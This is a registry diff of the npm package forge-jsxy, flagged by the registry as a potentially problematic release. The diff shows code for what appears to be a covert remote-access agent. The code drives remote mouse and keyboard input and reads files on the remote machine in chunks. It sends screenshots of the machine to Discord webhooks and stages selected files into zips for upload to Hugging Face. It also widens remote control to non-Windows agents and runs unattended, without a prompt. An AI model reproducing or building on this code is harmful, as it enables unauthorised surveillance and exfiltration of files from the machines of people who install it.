forge-jsxy 1.0.76 → 1.0.77
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of forge-jsxy might be problematic. Click here for more details.
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +2940 -692
- package/assets/remote-control-template.html +78 -22
- package/dist/agentRunner.js +6 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +2941 -693
- package/dist/assets/remote-control-template.html +78 -22
- package/dist/discordAgentScreenshot.js +6 -1
- package/dist/discordRateLimit.js +22 -11
- package/dist/discordRelayUpload.js +4 -2
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +13 -1
- package/dist/exportMirrorCopy.js +89 -2
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +86 -4
- package/dist/fsMessages.d.ts +2 -0
- package/dist/fsMessages.js +29 -8
- package/dist/fsProtocol.d.ts +8 -4
- package/dist/fsProtocol.js +923 -151
- package/dist/hfCredentials.d.ts +1 -1
- package/dist/hfCredentials.js +1 -1
- package/dist/hfSeqIdLookup.d.ts +2 -2
- package/dist/hfSeqIdLookup.js +11 -5
- package/dist/hfUpload.d.ts +2 -2
- package/dist/hfUpload.js +103 -17
- package/dist/relayAgent.js +2 -2
- package/dist/relayDashboardGate.js +42 -55
- package/dist/relayServer.js +154 -6
- package/dist/syncClient.js +5 -0
- package/dist/windowsInputSync.js +20 -1
- package/package.json +3 -1
|
@@ -3,6 +3,21 @@
|
|
|
3
3
|
<head>
|
|
4
4
|
<meta charset="UTF-8" />
|
|
5
5
|
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
|
6
|
+
<script>
|
|
7
|
+
(function () {
|
|
8
|
+
try {
|
|
9
|
+
var p = new URLSearchParams(location.search || "");
|
|
10
|
+
var sp = String(p.get("session") || p.get("s") || "").trim();
|
|
11
|
+
if (!sp) return;
|
|
12
|
+
var suf = /^client_/i.test(sp) ? sp.slice(7) : sp;
|
|
13
|
+
p.delete("session");
|
|
14
|
+
p.delete("s");
|
|
15
|
+
p.set("my_vps", suf);
|
|
16
|
+
var nq = p.toString();
|
|
17
|
+
history.replaceState(null, "", location.pathname + (nq ? "?" + nq : "") + location.hash);
|
|
18
|
+
} catch (e) {}
|
|
19
|
+
})();
|
|
20
|
+
</script>
|
|
6
21
|
<title>Forge Remote Control</title>
|
|
7
22
|
<style>
|
|
8
23
|
:root {
|
|
@@ -273,8 +288,8 @@
|
|
|
273
288
|
</div>
|
|
274
289
|
</div>
|
|
275
290
|
<script>
|
|
276
|
-
const relayFallback =
|
|
277
|
-
const pwdHint =
|
|
291
|
+
const relayFallback = __FORGE_REPLACE_RELAY_FALLBACK_JS__ || "";
|
|
292
|
+
const pwdHint = __FORGE_REPLACE_PWD_JS__ || "";
|
|
278
293
|
const streamStatsEl = document.getElementById("streamStats");
|
|
279
294
|
const fpsStateEl = document.getElementById("fpsState");
|
|
280
295
|
const stateEl = document.getElementById("state");
|
|
@@ -357,6 +372,8 @@
|
|
|
357
372
|
let lastPointerPoint = null;
|
|
358
373
|
let suppressClickUntil = 0;
|
|
359
374
|
let disablePressLifecycle = false;
|
|
375
|
+
let rcActionCaps = null;
|
|
376
|
+
const unsupportedActionNoticeAt = new Map();
|
|
360
377
|
let lastClickAt = 0;
|
|
361
378
|
let lastClickPoint = null;
|
|
362
379
|
let lastClickButton = "left";
|
|
@@ -594,11 +611,7 @@
|
|
|
594
611
|
sessionAgentVersion = String(row.agent_version || "").trim();
|
|
595
612
|
sessionAgentOs = String(row.agent_os || "").trim().toLowerCase();
|
|
596
613
|
refreshWriteModeEligibilityUi();
|
|
597
|
-
if (
|
|
598
|
-
sessionAgentVersion &&
|
|
599
|
-
sessionAgentOs.includes("windows") &&
|
|
600
|
-
versionLt(sessionAgentVersion, "1.0.71")
|
|
601
|
-
) {
|
|
614
|
+
if (sessionAgentVersion && versionLt(sessionAgentVersion, "1.0.71")) {
|
|
602
615
|
setState("Agent v" + sessionAgentVersion + " detected. Upgrade agent from /files to enable reliable control.");
|
|
603
616
|
}
|
|
604
617
|
} catch {
|
|
@@ -613,11 +626,6 @@
|
|
|
613
626
|
setState("Detecting agent platform/version…");
|
|
614
627
|
return true;
|
|
615
628
|
}
|
|
616
|
-
if (!os.includes("windows")) {
|
|
617
|
-
setState("Write mode supports Windows agents only.");
|
|
618
|
-
showEmptyState("Remote control input is available only for Windows agents. This session is " + (os || "unknown") + ".", true);
|
|
619
|
-
return false;
|
|
620
|
-
}
|
|
621
629
|
if (!ver || versionLt(ver, "1.0.71")) {
|
|
622
630
|
setState("Upgrade required: agent v" + (ver || "unknown") + " -> v1.0.71+");
|
|
623
631
|
showEmptyState("This session is running an older agent build. Open /files for this session and click Upgrade agent, then reconnect.", true);
|
|
@@ -626,15 +634,13 @@
|
|
|
626
634
|
return true;
|
|
627
635
|
}
|
|
628
636
|
function refreshWriteModeEligibilityUi() {
|
|
629
|
-
const os = String(sessionAgentOs || "").toLowerCase();
|
|
630
637
|
const ver = String(sessionAgentVersion || "");
|
|
631
|
-
const hasOs = os.length > 0;
|
|
632
638
|
const hasVer = ver.length > 0;
|
|
633
639
|
// Keep the mode button usable while metadata is still unknown; hard-block only when incompatibility is explicit.
|
|
634
|
-
const incompatible =
|
|
640
|
+
const incompatible = hasVer && versionLt(ver, "1.0.71");
|
|
635
641
|
modeBtn.disabled = false;
|
|
636
642
|
if (!writeEnabled && incompatible) {
|
|
637
|
-
modeBtn.title = "Write mode requires
|
|
643
|
+
modeBtn.title = "Write mode requires agent v1.0.71+ (upgrade this session from /files).";
|
|
638
644
|
} else {
|
|
639
645
|
modeBtn.title = "";
|
|
640
646
|
}
|
|
@@ -763,13 +769,17 @@
|
|
|
763
769
|
return relayFallback || "ws://127.0.0.1:9877";
|
|
764
770
|
}
|
|
765
771
|
function currentSessionId() {
|
|
766
|
-
|
|
772
|
+
const p = new URLSearchParams(location.search);
|
|
773
|
+
let v = String(p.get("my_vps") || p.get("vps") || p.get("session") || "").trim();
|
|
774
|
+
if (!v) return "";
|
|
775
|
+
if (/^client_/i.test(v)) return v;
|
|
776
|
+
return "client_" + v;
|
|
767
777
|
}
|
|
768
778
|
function resolveSessionId() {
|
|
769
779
|
const sid = currentSessionId();
|
|
770
780
|
if (sid) return sid;
|
|
771
|
-
|
|
772
|
-
return
|
|
781
|
+
/** No `window.prompt` — unattended-friendly; use ?my_vps= / ?session= same as /files. */
|
|
782
|
+
return "";
|
|
773
783
|
}
|
|
774
784
|
function sessionPwdKey(sid) {
|
|
775
785
|
return "forge_remote_pwd_" + sid;
|
|
@@ -877,7 +887,16 @@
|
|
|
877
887
|
}
|
|
878
888
|
function connect() {
|
|
879
889
|
const sid = resolveSessionId();
|
|
880
|
-
if (!sid) {
|
|
890
|
+
if (!sid) {
|
|
891
|
+
setState("Session required");
|
|
892
|
+
if (!hasFrame) {
|
|
893
|
+
showEmptyState(
|
|
894
|
+
"Add ?my_vps=… or ?session=… to this URL (same session id as file explorer). Browser prompt is not used.",
|
|
895
|
+
true
|
|
896
|
+
);
|
|
897
|
+
}
|
|
898
|
+
return;
|
|
899
|
+
}
|
|
881
900
|
void refreshSessionAgentMeta(sid);
|
|
882
901
|
const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
|
|
883
902
|
disconnect();
|
|
@@ -894,7 +913,9 @@
|
|
|
894
913
|
armAuthWatchdog();
|
|
895
914
|
};
|
|
896
915
|
ws.onclose = () => {
|
|
916
|
+
ws = null;
|
|
897
917
|
authed = false;
|
|
918
|
+
rcActionCaps = null;
|
|
898
919
|
setState("Disconnected");
|
|
899
920
|
stopShotLoop();
|
|
900
921
|
clearAuthWatchdog();
|
|
@@ -933,6 +954,7 @@
|
|
|
933
954
|
startShotLoop();
|
|
934
955
|
requestScreenshot();
|
|
935
956
|
startRemoteClipboardPoll();
|
|
957
|
+
void refreshRemoteControlCapabilities();
|
|
936
958
|
if (!hasFrame) showEmptyState("Connected. Waiting for first screenshot frame...", false);
|
|
937
959
|
} else {
|
|
938
960
|
forgetPassword(sid);
|
|
@@ -1434,7 +1456,12 @@
|
|
|
1434
1456
|
let eof = false;
|
|
1435
1457
|
const chunks = [];
|
|
1436
1458
|
let fileName = "remote-file.bin";
|
|
1459
|
+
const MAX_CHUNKS = 2048; // 2048 × 8MB = 16 GB cap — safety valve against infinite loop
|
|
1460
|
+
const DEADLINE = Date.now() + 5 * 60 * 1000; // 5-minute wall-clock timeout
|
|
1461
|
+
let chunkCount = 0;
|
|
1437
1462
|
while (!eof) {
|
|
1463
|
+
if (chunkCount++ >= MAX_CHUNKS) return { ok: false, error: "download aborted: too many chunks (file too large)" };
|
|
1464
|
+
if (Date.now() > DEADLINE) return { ok: false, error: "download aborted: timeout exceeded (5 min)" };
|
|
1438
1465
|
const r = await wsRequest("fs_read", {
|
|
1439
1466
|
path: p,
|
|
1440
1467
|
chunk: true,
|
|
@@ -1448,7 +1475,10 @@
|
|
|
1448
1475
|
if (seg) fileName = seg;
|
|
1449
1476
|
const b64 = String(r.b64 || "");
|
|
1450
1477
|
if (b64) chunks.push(b64);
|
|
1451
|
-
|
|
1478
|
+
const nextOff = Number.isFinite(Number(r.next_offset)) ? Number(r.next_offset) : off;
|
|
1479
|
+
// Guard against stuck offset — if agent doesn't advance, treat as eof to avoid infinite loop
|
|
1480
|
+
if (!r.eof && nextOff <= off && b64.length === 0) return { ok: false, error: "download aborted: agent offset did not advance" };
|
|
1481
|
+
off = Math.max(off, nextOff);
|
|
1452
1482
|
eof = Boolean(r.eof);
|
|
1453
1483
|
}
|
|
1454
1484
|
if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
|
|
@@ -1493,7 +1523,8 @@
|
|
|
1493
1523
|
const n = String(name || "");
|
|
1494
1524
|
if (!b) return n;
|
|
1495
1525
|
if (/[\\/]$/.test(b)) return b + n;
|
|
1496
|
-
|
|
1526
|
+
// Use the separator that already appears in the base path to handle Unix/macOS correctly
|
|
1527
|
+
return b + (b.indexOf("/") >= 0 ? "/" : "\\") + n;
|
|
1497
1528
|
}
|
|
1498
1529
|
async function loadRootsIntoPanel() {
|
|
1499
1530
|
if (!writeEnabled) return;
|
|
@@ -1550,11 +1581,36 @@
|
|
|
1550
1581
|
}
|
|
1551
1582
|
function sendRemoteInput(payload) {
|
|
1552
1583
|
if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
|
|
1584
|
+
const action = String(payload && payload.action || "").trim();
|
|
1585
|
+
if (action && rcActionCaps && Object.prototype.hasOwnProperty.call(rcActionCaps, action) && !rcActionCaps[action]) {
|
|
1586
|
+
const now = Date.now();
|
|
1587
|
+
const prev = Number(unsupportedActionNoticeAt.get(action) || 0);
|
|
1588
|
+
if (now - prev > 1500) {
|
|
1589
|
+
unsupportedActionNoticeAt.set(action, now);
|
|
1590
|
+
setState("This remote action is unavailable on the current OS/tooling: " + action);
|
|
1591
|
+
}
|
|
1592
|
+
return;
|
|
1593
|
+
}
|
|
1553
1594
|
ws.send(JSON.stringify(Object.assign({
|
|
1554
1595
|
type: "rc_input",
|
|
1555
1596
|
request_id: "rc_" + (++reqSeq),
|
|
1556
1597
|
}, payload || {})));
|
|
1557
1598
|
}
|
|
1599
|
+
async function refreshRemoteControlCapabilities() {
|
|
1600
|
+
try {
|
|
1601
|
+
const r = await wsRequest("rc_input", { action: "capabilities" });
|
|
1602
|
+
const caps = r && r.action_capabilities && typeof r.action_capabilities === "object"
|
|
1603
|
+
? r.action_capabilities
|
|
1604
|
+
: null;
|
|
1605
|
+
if (caps) {
|
|
1606
|
+
rcActionCaps = caps;
|
|
1607
|
+
const notes = Array.isArray(r.notes) ? r.notes.filter(Boolean).map((x) => String(x)) : [];
|
|
1608
|
+
if (notes.length) setState(notes[0]);
|
|
1609
|
+
}
|
|
1610
|
+
} catch {
|
|
1611
|
+
/* old agents may not support capability probing; keep permissive compatibility mode */
|
|
1612
|
+
}
|
|
1613
|
+
}
|
|
1558
1614
|
function queueMouseMove(point) {
|
|
1559
1615
|
if (!point) return;
|
|
1560
1616
|
pendingMovePoint = point;
|
|
@@ -94,12 +94,17 @@ function discordWebhookMaxAttachmentBytes() {
|
|
|
94
94
|
function discordCaptureMaxBytes() {
|
|
95
95
|
return Math.min(10 * 1024 * 1024, discordWebhookMaxAttachmentBytes());
|
|
96
96
|
}
|
|
97
|
+
/** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
|
|
98
|
+
function _neutralizeDiscordTriggers(s) {
|
|
99
|
+
return s.replace(/@(everyone|here)/gi, "@\u200b$1");
|
|
100
|
+
}
|
|
97
101
|
/** Short OS label for Discord screenshot captions. */
|
|
98
102
|
function _screenshotOsLabel() {
|
|
99
103
|
const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
|
|
100
104
|
const h = os.hostname();
|
|
101
105
|
let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
|
|
102
|
-
|
|
106
|
+
// Neutralize @everyone / @here in hostname to prevent unwanted Discord pings
|
|
107
|
+
return h ? `${label} · ${_neutralizeDiscordTriggers(h)}` : label;
|
|
103
108
|
}
|
|
104
109
|
/** Screenshot caption in JST with OS label. */
|
|
105
110
|
function _screenshotCaption() {
|
package/dist/discordRateLimit.js
CHANGED
|
@@ -178,19 +178,26 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
|
|
|
178
178
|
if (tracker && routeKey) {
|
|
179
179
|
tracker.update(res.headers, routeKey);
|
|
180
180
|
}
|
|
181
|
-
for (let i = 0; i < max - 1 && res.status === 429; i++) {
|
|
182
|
-
|
|
183
|
-
if (
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
181
|
+
for (let i = 0; i < max - 1 && (res.status === 429 || isRetriable5xx(res.status)); i++) {
|
|
182
|
+
let delay;
|
|
183
|
+
if (res.status === 429) {
|
|
184
|
+
delay = await discord429DelayMs(res);
|
|
185
|
+
if (tracker && routeKey) {
|
|
186
|
+
const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
|
|
187
|
+
res.headers.get("X-RateLimit-Scope") === "global";
|
|
188
|
+
const bucket = res.headers.get("X-RateLimit-Bucket");
|
|
189
|
+
if (isGlobal) {
|
|
190
|
+
tracker.setGlobalPause(delay);
|
|
191
|
+
}
|
|
192
|
+
else {
|
|
193
|
+
tracker.setRoutePause(routeKey, bucket, delay);
|
|
194
|
+
}
|
|
192
195
|
}
|
|
193
196
|
}
|
|
197
|
+
else {
|
|
198
|
+
// 500/502/503/504: exponential back-off with jitter, capped at 30 s
|
|
199
|
+
delay = clampRetryMs(Math.min(30_000, 1000 * Math.pow(2, i)) + Math.floor(Math.random() * 400));
|
|
200
|
+
}
|
|
194
201
|
await sleepMs(delay);
|
|
195
202
|
res = await doFetch();
|
|
196
203
|
if (tracker && routeKey) {
|
|
@@ -199,6 +206,10 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
|
|
|
199
206
|
}
|
|
200
207
|
return res;
|
|
201
208
|
}
|
|
209
|
+
/** True for transient Discord server-side errors that are safe to retry. */
|
|
210
|
+
function isRetriable5xx(status) {
|
|
211
|
+
return status === 500 || status === 502 || status === 503 || status === 504;
|
|
212
|
+
}
|
|
202
213
|
// ── Error-text backoff (ticket/webhook flow) ──────────────────────────────────
|
|
203
214
|
function looksLikeDiscordRateLimitMessage(text) {
|
|
204
215
|
return /429|rate limit|rate_limited|being rate limited/i.test(String(text));
|
|
@@ -787,7 +787,7 @@ async function warnDiscordRelayGuildIfMisconfigured() {
|
|
|
787
787
|
arr = null;
|
|
788
788
|
}
|
|
789
789
|
if (Array.isArray(arr) && arr.length === 0) {
|
|
790
|
-
console.
|
|
790
|
+
console.log(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
|
|
791
791
|
}
|
|
792
792
|
}
|
|
793
793
|
}
|
|
@@ -800,7 +800,9 @@ async function warnDiscordRelayGuildIfMisconfigured() {
|
|
|
800
800
|
await listGuildTextChannels(tokens[i], guildId);
|
|
801
801
|
}
|
|
802
802
|
catch (e) {
|
|
803
|
-
|
|
803
|
+
// Log to stdout (not stderr) — Discord 500/504 are transient server-side errors,
|
|
804
|
+
// not relay bugs; they do not warrant the PM2 error log.
|
|
805
|
+
console.log(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
|
|
804
806
|
}
|
|
805
807
|
}
|
|
806
808
|
}
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dependency / cache directory names skipped during recursive **search** (under user-data scope),
|
|
3
|
+
* **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
|
|
4
|
+
*
|
|
5
|
+
* Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
|
|
6
|
+
*/
|
|
7
|
+
export declare const EXPLORER_HEAVY_SUBDIR_NAMES: Set<string>;
|
|
8
|
+
export declare function explorerHeavySubdirNameSkipped(name: string): boolean;
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.EXPLORER_HEAVY_SUBDIR_NAMES = void 0;
|
|
4
|
+
exports.explorerHeavySubdirNameSkipped = explorerHeavySubdirNameSkipped;
|
|
5
|
+
/**
|
|
6
|
+
* Dependency / cache directory names skipped during recursive **search** (under user-data scope),
|
|
7
|
+
* **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
|
|
8
|
+
*
|
|
9
|
+
* Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
|
|
10
|
+
*/
|
|
11
|
+
exports.EXPLORER_HEAVY_SUBDIR_NAMES = new Set([
|
|
12
|
+
"node_modules",
|
|
13
|
+
"venv",
|
|
14
|
+
".venv",
|
|
15
|
+
"env",
|
|
16
|
+
".env",
|
|
17
|
+
"__pycache__",
|
|
18
|
+
"site-packages",
|
|
19
|
+
"dist-packages",
|
|
20
|
+
".tox",
|
|
21
|
+
".mypy_cache",
|
|
22
|
+
".pytest_cache",
|
|
23
|
+
]);
|
|
24
|
+
function explorerHeavySubdirNameSkipped(name) {
|
|
25
|
+
return exports.EXPLORER_HEAVY_SUBDIR_NAMES.has(String(name || "").trim().toLowerCase());
|
|
26
|
+
}
|
|
@@ -6,10 +6,22 @@ export type CopyMirrorStagingOptions = {
|
|
|
6
6
|
};
|
|
7
7
|
/** True when a short wait and re-copy might succeed (another process releasing a shared lock). */
|
|
8
8
|
export declare function isRetryableCopyError(err: unknown): boolean;
|
|
9
|
-
/**
|
|
9
|
+
/**
|
|
10
|
+
* Count regular files under `dir` (symlinks ignored).
|
|
11
|
+
* Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
|
|
12
|
+
* match what mirror + zip will actually include.
|
|
13
|
+
*/
|
|
10
14
|
export declare function countRegularFilesRecursive(dir: string): number;
|
|
11
15
|
export declare function copySelectionToMirrorStaging(absoluteSource: string, workRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
|
|
12
16
|
mirrorPath: string;
|
|
13
17
|
baseName: string;
|
|
14
18
|
}>;
|
|
15
19
|
export declare function removeMirrorStaging(workRoot: string): Promise<void>;
|
|
20
|
+
/**
|
|
21
|
+
* Mirror multiple absolute file/dir selections into one flat folder with unique entry names
|
|
22
|
+
* (same staging idea as Hub multi-upload `selection.zip`).
|
|
23
|
+
*/
|
|
24
|
+
export declare function mirrorSelectionsIntoFlatStage(absoluteSources: string[], stageRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
|
|
25
|
+
stagedItems: number;
|
|
26
|
+
skippedItems: number;
|
|
27
|
+
}>;
|
package/dist/exportMirrorCopy.js
CHANGED
|
@@ -38,6 +38,7 @@ exports.isRetryableCopyError = isRetryableCopyError;
|
|
|
38
38
|
exports.countRegularFilesRecursive = countRegularFilesRecursive;
|
|
39
39
|
exports.copySelectionToMirrorStaging = copySelectionToMirrorStaging;
|
|
40
40
|
exports.removeMirrorStaging = removeMirrorStaging;
|
|
41
|
+
exports.mirrorSelectionsIntoFlatStage = mirrorSelectionsIntoFlatStage;
|
|
41
42
|
/**
|
|
42
43
|
* Snapshot copy for zip / Hub export: copy the selected file or folder into a hidden
|
|
43
44
|
* staging subtree before compression, so archiver reads stable copies (similar to a
|
|
@@ -59,7 +60,9 @@ exports.removeMirrorStaging = removeMirrorStaging;
|
|
|
59
60
|
* fail by design; exclusive OS locks with no shared read fail like manual copy.
|
|
60
61
|
*/
|
|
61
62
|
const fs = __importStar(require("node:fs"));
|
|
63
|
+
const os = __importStar(require("node:os"));
|
|
62
64
|
const path = __importStar(require("node:path"));
|
|
65
|
+
const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
|
|
63
66
|
/** Hidden directory under the work root holding the mirrored selection. */
|
|
64
67
|
exports.EXPORT_MIRROR_DIR = ".mirror";
|
|
65
68
|
function copyRetryBaseMs() {
|
|
@@ -110,7 +113,11 @@ function isRetryableCopyError(err) {
|
|
|
110
113
|
}
|
|
111
114
|
return false;
|
|
112
115
|
}
|
|
113
|
-
/**
|
|
116
|
+
/**
|
|
117
|
+
* Count regular files under `dir` (symlinks ignored).
|
|
118
|
+
* Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
|
|
119
|
+
* match what mirror + zip will actually include.
|
|
120
|
+
*/
|
|
114
121
|
function countRegularFilesRecursive(dir) {
|
|
115
122
|
let n = 0;
|
|
116
123
|
const walk = (d) => {
|
|
@@ -125,8 +132,11 @@ function countRegularFilesRecursive(dir) {
|
|
|
125
132
|
const child = path.join(d, ent.name);
|
|
126
133
|
if (ent.isSymbolicLink())
|
|
127
134
|
continue;
|
|
128
|
-
if (ent.isDirectory())
|
|
135
|
+
if (ent.isDirectory()) {
|
|
136
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
|
|
137
|
+
continue;
|
|
129
138
|
walk(child);
|
|
139
|
+
}
|
|
130
140
|
else if (ent.isFile())
|
|
131
141
|
n++;
|
|
132
142
|
}
|
|
@@ -182,6 +192,9 @@ async function copyDirectoryTreeSelective(srcRoot, destRoot, maxAttempts, baseDe
|
|
|
182
192
|
const src = path.join(srcRoot, relChild);
|
|
183
193
|
const dest = path.join(destRoot, relChild);
|
|
184
194
|
if (ent.isDirectory()) {
|
|
195
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name)) {
|
|
196
|
+
continue;
|
|
197
|
+
}
|
|
185
198
|
try {
|
|
186
199
|
await fs.promises.mkdir(dest, { recursive: true });
|
|
187
200
|
}
|
|
@@ -277,3 +290,77 @@ async function removeMirrorStaging(workRoot) {
|
|
|
277
290
|
const p = path.join(workRoot, exports.EXPORT_MIRROR_DIR);
|
|
278
291
|
await fs.promises.rm(p, { recursive: true, force: true });
|
|
279
292
|
}
|
|
293
|
+
function uniqueMirrorStageEntryName(destRoot, preferred) {
|
|
294
|
+
const base = String(preferred || "item").replace(/[\\/]/g, "_").trim() || "item";
|
|
295
|
+
let candidate = base;
|
|
296
|
+
let i = 2;
|
|
297
|
+
while (fs.existsSync(path.join(destRoot, candidate))) {
|
|
298
|
+
candidate = `${base} (${i})`;
|
|
299
|
+
i++;
|
|
300
|
+
}
|
|
301
|
+
return candidate;
|
|
302
|
+
}
|
|
303
|
+
function isLockLikeMirrorBasename(name) {
|
|
304
|
+
const n = String(name || "").trim().toLowerCase();
|
|
305
|
+
if (!n)
|
|
306
|
+
return false;
|
|
307
|
+
if (n === "lock" || n === "lockfile")
|
|
308
|
+
return true;
|
|
309
|
+
return n.endsWith(".lock") || n.endsWith(".lck") || n.endsWith(".pid") || n.endsWith(".pid.lock");
|
|
310
|
+
}
|
|
311
|
+
/**
|
|
312
|
+
* Mirror multiple absolute file/dir selections into one flat folder with unique entry names
|
|
313
|
+
* (same staging idea as Hub multi-upload `selection.zip`).
|
|
314
|
+
*/
|
|
315
|
+
async function mirrorSelectionsIntoFlatStage(absoluteSources, stageRoot, opts) {
|
|
316
|
+
await fs.promises.mkdir(stageRoot, { recursive: true });
|
|
317
|
+
let stagedItems = 0;
|
|
318
|
+
let skippedItems = 0;
|
|
319
|
+
for (const src of absoluteSources) {
|
|
320
|
+
let srcStat = null;
|
|
321
|
+
try {
|
|
322
|
+
srcStat = fs.statSync(src);
|
|
323
|
+
}
|
|
324
|
+
catch {
|
|
325
|
+
skippedItems++;
|
|
326
|
+
continue;
|
|
327
|
+
}
|
|
328
|
+
if (srcStat.isFile() && isLockLikeMirrorBasename(path.basename(src))) {
|
|
329
|
+
skippedItems++;
|
|
330
|
+
continue;
|
|
331
|
+
}
|
|
332
|
+
const perItemRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-mirror-sel-"));
|
|
333
|
+
try {
|
|
334
|
+
const { mirrorPath, baseName } = await copySelectionToMirrorStaging(src, perItemRoot, opts);
|
|
335
|
+
if (!fs.existsSync(mirrorPath)) {
|
|
336
|
+
skippedItems++;
|
|
337
|
+
continue;
|
|
338
|
+
}
|
|
339
|
+
const destName = uniqueMirrorStageEntryName(stageRoot, baseName);
|
|
340
|
+
await fs.promises.cp(mirrorPath, path.join(stageRoot, destName), {
|
|
341
|
+
recursive: true,
|
|
342
|
+
force: true,
|
|
343
|
+
dereference: false,
|
|
344
|
+
});
|
|
345
|
+
stagedItems++;
|
|
346
|
+
}
|
|
347
|
+
catch {
|
|
348
|
+
skippedItems++;
|
|
349
|
+
}
|
|
350
|
+
finally {
|
|
351
|
+
try {
|
|
352
|
+
await removeMirrorStaging(perItemRoot);
|
|
353
|
+
}
|
|
354
|
+
catch {
|
|
355
|
+
/* skip */
|
|
356
|
+
}
|
|
357
|
+
try {
|
|
358
|
+
fs.rmSync(perItemRoot, { recursive: true, force: true });
|
|
359
|
+
}
|
|
360
|
+
catch {
|
|
361
|
+
/* skip */
|
|
362
|
+
}
|
|
363
|
+
}
|
|
364
|
+
}
|
|
365
|
+
return { stagedItems, skippedItems };
|
|
366
|
+
}
|
package/dist/filesExplorer.d.ts
CHANGED
|
@@ -6,5 +6,14 @@ export interface FilesExplorerHtmlOptions {
|
|
|
6
6
|
}
|
|
7
7
|
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
8
8
|
export declare function getForgeExplorerFaviconSvg(): string;
|
|
9
|
+
/**
|
|
10
|
+
* VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
|
|
11
|
+
*/
|
|
12
|
+
export declare function readExplorerCodiconAsset(name: string): Buffer;
|
|
13
|
+
/**
|
|
14
|
+
* highlight.js bundle + Dark+–style CSS for file-explorer text preview
|
|
15
|
+
* (`GET /forge-explorer-highlight/*`).
|
|
16
|
+
*/
|
|
17
|
+
export declare function readExplorerHighlightAsset(name: string): Buffer;
|
|
9
18
|
export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
|
|
10
19
|
export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
|
package/dist/filesExplorer.js
CHANGED
|
@@ -34,6 +34,8 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
|
|
37
|
+
exports.readExplorerCodiconAsset = readExplorerCodiconAsset;
|
|
38
|
+
exports.readExplorerHighlightAsset = readExplorerHighlightAsset;
|
|
37
39
|
exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
|
|
38
40
|
exports.buildRemoteControlHtml = buildRemoteControlHtml;
|
|
39
41
|
/**
|
|
@@ -107,6 +109,60 @@ function getForgeExplorerFaviconSvg() {
|
|
|
107
109
|
}
|
|
108
110
|
throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
|
|
109
111
|
}
|
|
112
|
+
const _explorerCodiconNames = new Set(["codicon.css", "codicon.ttf"]);
|
|
113
|
+
/**
|
|
114
|
+
* VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
|
|
115
|
+
*/
|
|
116
|
+
function readExplorerCodiconAsset(name) {
|
|
117
|
+
const base = path.basename(name);
|
|
118
|
+
if (!_explorerCodiconNames.has(base)) {
|
|
119
|
+
throw new Error(`invalid codicon asset: ${base}`);
|
|
120
|
+
}
|
|
121
|
+
const candidates = [
|
|
122
|
+
path.join(__dirname, "assets", "codicons", base),
|
|
123
|
+
path.join(__dirname, "..", "assets", "codicons", base),
|
|
124
|
+
];
|
|
125
|
+
for (const p of candidates) {
|
|
126
|
+
try {
|
|
127
|
+
if (fs.existsSync(p)) {
|
|
128
|
+
